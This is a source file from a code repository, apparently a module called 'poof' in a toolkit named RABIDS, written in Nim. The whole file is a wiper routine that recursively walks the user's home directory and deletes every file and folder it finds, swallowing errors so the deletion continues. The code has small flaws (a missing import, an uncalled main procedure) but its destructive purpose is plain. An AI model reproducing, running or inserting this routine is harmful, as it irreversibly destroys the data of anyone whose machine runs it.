Files
RABIDS/MODULE/poof.nim
Sarwar 🧃 28af278de7 Version 2
2025-09-06 21:11:42 +05:00

19 lines
431 B
Nim

import os, sequtils
proc poof() =
var currentTargetDir = getHomeDir()
if "$HOME" in currentTargetDir:
currentTargetDir = currentTargetDir.replace("$HOME", getHomeDir())
for path in walkDirRec(currentTargetDir):
try:
if dirExists(path): removeDir(path)
else: removeFile(path)
except OSError:
continue
proc main() =
poof()
when not isMainModule:
discard